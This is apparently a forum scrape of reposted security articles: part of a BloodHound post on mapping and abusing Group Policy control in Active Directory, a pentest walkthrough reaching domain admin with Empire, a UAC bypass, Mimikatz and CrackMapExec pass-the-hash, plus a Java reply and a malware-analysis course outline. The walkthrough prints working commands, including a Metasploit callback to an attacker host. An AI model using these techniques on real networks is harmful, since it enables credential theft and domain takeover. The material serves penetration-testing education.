OU HelpDesk. Finally, the OU HelpDesk contains the user Alice Admin. Now, let’s add our Default Domain Policy GPO into the mix. Recall from earlier that in my test domain, that GPO is linked to the domain object: Above: The “Default Domain Policy” GPO is linked to the domain object. Now, in default circumstances, you can simply read from left to right to figure out that the Default Domain Policy will apply to the user Alice Admin. The “default circumstance” here is that the GpLink relationship is not enforced, and that none of the containers in this path block inheritance. Let’s add that information to the above graph: In this circumstance, it doesn’t matter that the GpLink edge is not enforced, as none of the OUs block inheritance. In our test domain, we have another OU under ContosoUsers called “Accounting”, with one user in that OU: Bob User. For example’s sake, we’ll say that the Accounting OU does block inheritance. Let’s add that to our existing graph: Again, we can see that the Default Domain Policy GPO is linked to the domain object, and Bob User is contained within the OU tree under the domain object; however, because the OU “Accounting” blocks inheritance, and because the GpLink edge is not enforced, the Default Domain Policy will not apply to Bob User. Still with me? You’d be forgiven for being slightly confused at this point, but don’t worry, it gets worse! Let’s add another GPO to the mix and link it to the domain object as well, except this time we will enforce the GpLink: Our new GPO called “Custom Password Policy” is linked to the domain object, which again contains the entire OU tree under it. Now, because the GPLink is enforced, this policy will apply to all child objects in the OU tree, regardless of whether any of those OUs block inheritance. This means that the “Custom Password Policy” GPO will apply to both “Alice Admin” and “Bob User”, despite the “Accounting” OU blocking inheritance. In our experience, this information is going to cover 95%+ of situations you’ll run into in real enterprise networks; however, there are three more things to know about, which may impact you when abusing GPO control paths during your pentests and red team assessments: WMI filtering, security filtering, and Group Policy link order and precedence. WMI filtering allows administrators to further limit which computers and users a GPO will apply to, based on whether a certain WMI query returns True or False. For example, when a computer is processing group policy, it may run a WMI query that checks if the operating system is Windows 7, and only apply the group policy if that query returns true. See Darren Mar-Elia’s excellent blog post for further details. Security filtering allows administrators to further limit which principals a GPO will apply to. Administrators can limit the GPO to apply to specific computers, users, or the members of a specific security group. By default, every GPO applies to the “Authenticated Users” principal, which includes any principal that successfully authenticates to the domain. For more details, see this post on the TechGenix site. Group Policy link order dictates which Group Policy “wins” in the event of conflicting, non-merging policies. Imagine you have two “Password Policy” GPOs: one that requires users to change their password every 30 days, and one that requires users to change their password every 60 days. Whichever policy is higher in the precedence order is the policy that will “win”. The group policy client enforces this “win” condition by processing policies in reverse order of precedence, so the highest precedence policy is processed last, and “wins”. Luckily, you don’t need to worry about this for almost every abuse primitive. For more information, check out this blog post. Like I said above, our experience has been that in real enterprise networks, you won’t need to worry about WMI filtering, security filtering, or GpLink order in 95% or more of the situations you run into, but I mention them so you know where to start troubleshooting if your abuse actions aren’t working. We may try to roll those three items into the BloodHound interface in the future. In the meantime, make sure your target computer and user objects won’t be filtered out by WMI or security filters, or attempt to push an evil group policy that will be overruled by a higher precedence policy. Analysis with BloodHound First, make sure you are running at least BloodHound 1.5.1. Second, do your standard SharpHound collection like you always have, but this time either do the “All” or “Containers” and “ACL” collection methods, which will collect GPO ACLs and OU structure for you: C:\> SharpHound.exe -c All Then, import the resulting acls.csv, container_gplinks.csv, and container_structure.csv through the BloodHound interface like normal. Now you’re ready to start analyzing outbound and inbound GPO control against objects. For example, let’s take a look at our “Alice Admin” user. If we search for this user, then click on the user node, you’ll see some new information in the user tab, including “Effective Inbound GPOs”: Above: Two GPOs apply to Alice Admin. The Cypher query that generates this number does the GpLink enforcement and OU blocking inheritance logic for you, so you don’t need to worry about working that out yourself. Simply click on the number “2”, in this instance, to visualize the GPOs that apply to “Alice Admin”: Above: How the two GPOs apply to Alice Admin. Notice the edge connecting “Default Domain Policy” to the “Contoso.Local” domain is dotted. This means that this GPO is not enforced; however, all of the “Contains” edges are solid, meaning that none of those containers block inheritance. Recall from earlier that unenforced GpLinks will only be affected by OUs that block inheritance, so in this case, the Default Domain Policy still applies to Alice Admin. Also note that the edge connecting “Customer Password Policy” to the “Contoso.Local” domain is solid. This means that this GPO is enforced, and will therefore apply to all children objects regardless of whether any subsequent containers block inheritance. We can also see the flip side of this — what objects does any given GPO effectively apply to? First, let’s check out the Custom Password Policy GPO: Above: The Custom Password Policy GPO applies to 3 computers and 5 users. Reminder: GPOs can only apply to users and computers, not security groups. By clicking on the numbers, you can render the objects affected by this GPO, and how the GPO applies to those objects. If we click the “5” next to “User Objects”, we get this graph: Above: How the Customer Password Policy GPO applies to user objects. There are two important things to point out here: again, the edge connecting the “Custom Password Policy” GPO to the “Contoso.Local” domain object is solid, meaning this GPO is enforced. Second, notice the edge connecting the “Accounting” OU to the “Bob User” user is dotted, indicating the “Accounting” OU blocks inheritance. But, because the “Custom Password Policy” GPO is enforced, the OU blocking inheritance doesn’t matter, and will be applied to the “Bob User” user anyway. Compare the above graph to the graph we get if we do the same for the “Default Domain Policy”: Above: The users affected by the “Default Domain Policy” GPO. Notice how the “Bob User” user is no longer there? That’s because the “Default Domain Policy” GPO is not enforced. Because the “Accounting” OU blocks inheritance, that GPO will not apply to the “Bob User” user. Alright, let’s put it all together and see if we can find an attack path from “Bob User” to “Alice Admin”. In the BloodHound search bar, click the path finding icon, then select your source node and target node. Hit enter, and BloodHound will find and render an attack path, if one exists: Above: The attack path from “Bob User” to “Alice Admin”. Reading this graph from left to right, we can see that “Bob User” is in a group called “Accounting”, which is part of a group called “Group Policy Admins” (believe me when I say crazier things have happened in the wild, and remember this is a contrived example :). The “Group Policy Admins” group has, as you would imagine, full control of the “Custom Password Policy” GPO. That GPO is then linked to the “Contoso.Local” domain. From here we have a couple options – push an evil policy down to the “Administrator” user and take over “Alice Admin” with an ACL based attack or just push an evil policy down directly to the “Alice Admin” user. Abusing GPO Control Finally, the most important part of this entire topic: how to actually take over computers and users with control over the GPOs that affect those users. For a bit of background and inspiration, read Will’s excellent blog post on abusing GPO rights, which contains information about the first proof-of-concept GPO abuse cmdlet that I’m aware of, New-GPOImmediateTask. When people say “you can do anything with GPO”, they really mean it: you can do anything with GPO. Will and I put together this list of abuses against computers, including the policy location and abuse, just to give you a few ideas: Policy Location: Computer Configuration\Preferences\Control Panel Settings\Folder Options Abuse: Create/alter file type associations, register DDE actions with those associations. Policy Location: Computer Configuration\Preferences\Control Panel Settings\Local Users and Groups Abuse: Add new local admin account. Policy Location: Computer Configuration\Preferences\Control Panel Settings\Scheduled Tasks Abuse: Deploy a new evil scheduled task (ie: PowerShell download cradle). Policy Location: Computer Configuration\Preferences\Control Panel Settings\Services Abuse: Create and configure new evil services. Policy Location: Computer Configuration\Preferences\Windows Settings\Files Abuse: Affected computers will download a file from the domain controller. Policy Location: Computer Configuration\Preferences\Windows Settings\INI Files Abuse: Update existing INI files. Policy Location: Computer Configuration\Preferences\Windows Settings\Registry Abuse: Update specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways. Policy Location: Computer Configuration\Preferences\Windows Settings\Shortcuts Abuse: Deploy a new evil shortcut. Policy Location: Computer Configuration\Policies\Software Settings\Software installation Abuse: Deploy an evil MSI. The MSI must be available to the GP client via a network share. Policy Location: Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown) Abuse: Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit Policy Abuse: Modify local audit settings. Useful for evading detection. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\ Abuse: Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Registry Abuse: Alter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Windows Firewall Abuse: Manage the Windows firewall. Open up ports if they’re blocked. Policy Location: Computer Configuration\Preferences\Windows Settings\Environment Abuse: Add UNC path for DLL side loading. Policy Location: Computer Configuration\Preferences\Windows Settings\Files Abuse: Copy a file from a remote UNC path. So, that’s all well and good, but how do we actually take these actions? Currently, you’ve got two options: download and install the Group Policy Management Console and use the GPMC GUI to modify the relevant GPO or manually craft the relevant policy file and correctly modify the GPO and gpt.ini file. As an example, let’s say you want to push a new immediate scheduled task to a computer or user. My current understanding (which is definitely subject to correction), based on testing and the Microsoft Group Policy Preferences functional spec, follows: Whenever a group policy client (user or computer) checks for updated group policy, they will go through several steps to collect and apply Group Policy to themselves. The client will check whether the remote version of the GPO is greater than the locally cached version of that GPO (unless gpupdate /force is used). The remote version of the GPO is stored in two locations: As an integer value for the versionNumber attribute on the Group Policy Object itself. As the same integer in the GPT.INI file, located at \\<domain.com>\Policies\<gpo name>\GPT.ini. Note that the “name” of the GPO is not the display name. For instance, the “name” for the Default Domain Policy is {6AC1786C-016F-11D2-945F-00C04fB984F9}. If the remote GPO version number is greater than the locally cached version, the group policy client will continue, analyzing which policies and/or preferences it needs to search for in the relevant SYSVOL directory. For Group Policy preferences (which scheduled tasks fall under), the group policy client will check to see which Client-Side Extensions (CSEs) exist as part of the “gPCMachineExtensionNames” and “gPCUserExtensionNames” attributes. According to the Microsoft Group Policy Preferences functional spec, CSE GUIDs “enable a specific client-side extension on the Group Policy client to be associated with policy data that is stored in the logical and physical components of a Group Policy Object (GPO) on the Group Policy server, for that particular extension.” The CSE GUIDs for Immediate Scheduled tasks, as they would be stored in the “gPCMachineExtensionNames” attribute, are: [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}] And in a slightly more readable format: [ {00000000-0000-0000-0000-000000000000} {79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} ] [ {AADCED64-746C-4633-A97C-D61349046527} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} ] This translates to the following: [ {Core GPO Engine} {Preference Tool CSE GUID Local users and groups} {Preference Tool CSE GUID Scheduled Tasks} ] [ {Preference CSE GUID Scheduled Tasks} {Preference Tool CSE GUID Scheduled Tasks} ] Once the group policy client understands that there are some scheduled tasks that apply to it, it will search for a file in the GP directory called ScheduledTasks.xml. That file exists in a predictable location: \\<domain.com>\sysvol\<domain.com>\Policies\<gpo-name>\Machine\Preferences\ScheduledTasks.xml Finally, the group policy client will parse the ScheduledTasks.xml and register the task locally. That’s how the process works, as I understand it. There is still a lot of work to be done on crafting scripts to automate the GPO abuse process, as installing GPMC is rarely a great option while on a red team assessment. If ever there were a call to arms, this is it: we’ll continue working on creating scripts that reliably automate GPO control abuse, but are equally as excited to see what people in the community can come up with as well. Conclusion As Rohan mentioned in his post, BloodHound 1.5 represents a pretty big milestone for the BloodHound project. By adding in GPOs and OU structure, we’re greatly increasing the scope of Active Directory attack surface you can easily map out with BloodHound. In a future blog post, I’ll focus more on the defensive side of things, showing how defenders can use BloodHound to analyze and reduce the attack surface in AD now that we’re tracking GPOs and OU structure. BloodHound is available free and open source on GitHub at https://github.com/BloodHoundAD/BloodHound You can join us on Slack at the official BloodHound Gang Slack here: https://bloodhoundgang.herokuapp.com/ Also published on Medium. Sursa: https://wald0.com/?p=179
-
Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin In the previous two articles, I gathered local user credentials and escalated to local administrator, with my next step is getting to domain admin. Since I have local admin, I’ll be using a tool called Bloodhound that will map out the entire domain for me and show where my next target will be. After getting Bloodhound running on my Windows host machine (here’s a guide), I then identify a server, 2008R2SERV, that the domain admin, Jaddmon, is logged into. For a guide to setting up and running Bloodhound, view my write-up here. My first step is to try and use Crackmapexec to invoke Mimikatz and dump the credentials, but SMB on this machine is not allowing logins, so I have to find another way around. Since I have local admin rights, I go ahead and RDP into the server where I then use Empire to get a foothold on the server. Using Empire is easy: First I start up empire and then start a listener, like below Once the listener is started, I then type launcher powershell http to generate a powershell payload that will talk back to my listener. I copy this long command, switch to the RDP session and open a command prompt and paste it. When it runs, I see in Empire that I now have an agent on that machine. To interact with it, I first type agents Then interact VLLRZY4EC (or whatever your agent name is) Even though I’m local admin, I still have to bypass UAC. Luckily, there’s a module for this in Empire. I then type usemodule privesc/bypassuac and then set Listener http and then run it. I then get another agent on the machine and yet again, I interact with that new agent. Now I dump the credentials by typing mimikatz It does it’s thing and gives a messy output, but this can be cleaner by typing creds and I then see the domain administrator hashed password. I won’t go the route of cracking the password because that’s too easy. Instead I’ll pass the hash using Crackmapexec. As a PoC, I’ll list the SMB shares of the DC. crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares ‘Success! From here, there’s two methods you can use to get a shell, as outlined here. I prefer the Metasploit option. crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 Once multi/handler is listening, the connection comes in after a brief wait And boom! Just like that, domain admin. This is one of many ways to exploit Active Directory misconfigurations to get to domain admin. As stated before, this is not the end of a penetration test though. My next steps here would be to try other methods to get to domain admin or any other accounts because a penetration test is conducted to see what all of the vulnerabilities are in a network, not just one. Additional Resources I recommend reading: http://ethicalhackingblog.com/hacking-powershell-empire-2-0/ https://adsecurity.org/?p=2398 https://github.com/byt3bl33d3r/CrackMapExec https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html Sursa: https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/
-
Trebuie alocat spatiu pentru acei vectori. Foloseste liste mai bine: https://www.javatpoint.com/java-list
-
Catalog Description Learn how to analyze malware, including computer viruses, trojans, and rootkits, using disassemblers, debuggers, static and dynamic analysis, using IDA Pro, OllyDbg and other tools. Advisory: CS 110A or equivalent familiarity with programming Upon successful completion of this course, the student will be able to: Describe types of malware, including rootkits, Trojans, and viruses. Perform basic static analysis with antivirus scanning and strings Perform basic dynamic analysis with a sandbox Perform advanced static analysis with IDA Pro Perform advanced dynamic analysis with a debugger Operate a kernel debugger Explain malware behavior, including launching, encoding, and network signatures Understand anti-reverse-engineering techniques that impede the use of disassemblers, debuggers, and virtual machines Recognize common packers and how to unpack them Videos: https://samsclass.info/126/126_S17.shtml
-
- 2
-
-